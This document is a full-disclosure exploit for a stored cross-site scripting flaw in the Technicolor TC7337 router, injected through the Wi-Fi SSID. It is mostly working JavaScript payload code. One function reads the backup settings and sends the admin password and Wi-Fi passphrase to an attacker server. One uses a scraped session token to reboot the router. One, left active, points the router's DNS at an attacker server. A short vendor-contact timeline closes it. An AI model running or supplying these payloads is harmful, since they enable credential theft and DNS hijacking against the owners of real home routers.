Technicolor TC7337 Cross Site Scripting

`// Device : Technicolor TC7337  
// Vulnerable URL : https://your.rou.ter.ip/wlscanresults.html  
// XSS through SSID : '><script src=//url.co></script> ( Exactly 32  
bytes u_u )  
// ^  
// 5char domains are running | 'src' does not requires quotes ,  
and passing the URL with ony '//'  
// out, grab yours ! +---> it will cause the browser to make  
the request with the current protocol,  
// which is HTTP , duh  
// Below is the content of url.co/index.html  
// index.html ( which is just a JavaScript actually, but we have to  
use the index to fit the 32 chars ) :  
  
function get_passwords(attackers_server) {  
// attackers_server = server to send the credentials  
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
// XSS to get Admin's login/passwd + Wifi passphrase  
// from backup settings  
  
xmlhttp=new XMLHttpRequest();  
xmlhttp.open("GET", "/backupsettings.cmd", false); // GET the Backup XML  
xmlhttp.send();  
var k = xmlhttp.responseText.indexOf("Admin") ; // Search for Admin's  
Login and Password  
var y = xmlhttp.responseText.indexOf("KeyPassphrase") ; // Search for  
Wifi PassPhrase  
// Add a img requesting the attacker website with the leaked  
passwords in the GET parameters  
document.write('<img src="'+attackers_server+'?net='+  
encodeURIComponent(xmlhttp.responseText.slice(k,k+100)+xmlhttp.responseText.slice(y,y+80))+'">');  
}  
  
function reboot_router() {  
// XSS + CSRF reboot router  
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
// Why? Because It's fun to watch a XSS doing 'physical' stuff  
  
xmlhttp=new XMLHttpRequest();  
xmlhttp.open("GET", "/resetrouter.html", false); // GET the page of  
the reset interface  
xmlhttp.send();  
var w = xmlhttp.responseText.indexOf("Key") ; // Search for the  
SessionKey, some sort of CSRF Token  
var sessionKey =  
xmlhttp.responseText.slice(w,w+20).match(/'([^']+)'/)[1] ; // Regex  
because the key is inside quotes  
  
xmlhttp=new XMLHttpRequest();  
xmlhttp.open("GET", "/rebootinfo.cgi?sessionKey="+sessionKey, false);  
// Request the reboot page with the CSRF token  
xmlhttp.send();  
}  
  
function dns_poisoning(attackers_dns) {  
// attackers_dns = malicious DNS Server  
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ holy shit  
my code is ugly as fuck , sorry world  
// Alter the DNS Config of the Router  
// changing the Primary and Secondary DNS to the attacker's one  
  
xmlhttp=new XMLHttpRequest();   
xmlhttp.open("GET", "/rede-dnsv4.html", false); // GET the DNS Config page  
xmlhttp.send();  
var w = xmlhttp.responseText.indexOf("Key") ; // Search for the  
SessionKey, some sort of CSRF Token  
var sessionKey =  
xmlhttp.responseText.slice(w,w+20).match(/'([^']+)'/)[1] ; // Regex  
because the key is inside quotes  
var i_wanip = xmlhttp.responseText.indexOf("wanip") ;  
var wanip = xmlhttp.responseText.slice(i_wanip,i_wanip+30).match(/'([^']+)'/)[1]  
;  
var i_wansubnet = xmlhttp.responseText.indexOf("wansubnet") ;  
var wansubnet =  
xmlhttp.responseText.slice(i_wansubnet,i_wansubnet+30).match(/'([^']+)'/)[1]  
;  
var i_wangatewayip = xmlhttp.responseText.indexOf("wangatewayip") ;  
var wangatewayip =  
xmlhttp.responseText.slice(i_wangatewayip,i_wangatewayip+30).match(/'([^']+)'/)[1]  
;  
  
xmlhttp=new XMLHttpRequest();  
xmlhttp.open("GET",  
"/rede-dnsv4.cgi?enblDhcpClnt=0&wanIpAddress="+wanip+"&wanIfName=wanbridge&wanSubnetMask="+wansubnet+"&wanIntfGateway="+wangatewayip+"&dnsPrimary="+attackers_dns+"&dnsSecondary="+attackers_dns+"&sessionKey="+sessionKey,  
false);  
xmlhttp.send(); // Send the request to SAVE the Primary and Secondary  
DNS with the CSRF Token  
  
//After saving we need to apply the settings. yeah, fuck logic --'  
  
//Getting a brand NEW SessionKey  
xmlhttp=new XMLHttpRequest();   
xmlhttp.open("GET", "/rede-dnsv4.html", false); // GET the DNS Config page  
xmlhttp.send();  
var w = xmlhttp.responseText.indexOf("Key") ; // Search for the  
SessionKey, some sort of CSRF Token  
var sessionKey =  
xmlhttp.responseText.slice(w,w+20).match(/'([^']+)'/)[1] ; // Regex  
because the key is inside quotes  
  
xmlhttp=new XMLHttpRequest();   
xmlhttp.open("GET", "/wandnscfg.cmd?sessionKey="+sessionKey, false);  
// GET the apply DNS page  
xmlhttp.send();  
}  
  
//Choose your path !  
//get_passwords("https://evil.domain/") ;  
//reboot_router();  
dns_poisoning("1.3.3.7")  
  
// TimeLine  
// ---------  
// 08/07/2017 - First email sent to the vendor (no answer)  
// 16/07/2017 - Second email sent to the vendor (no answer)  
// 18/07/2017 - Third email sent to the vendor (no answer)  
// 02/08/2017 - Full Disclosure  
  
  
`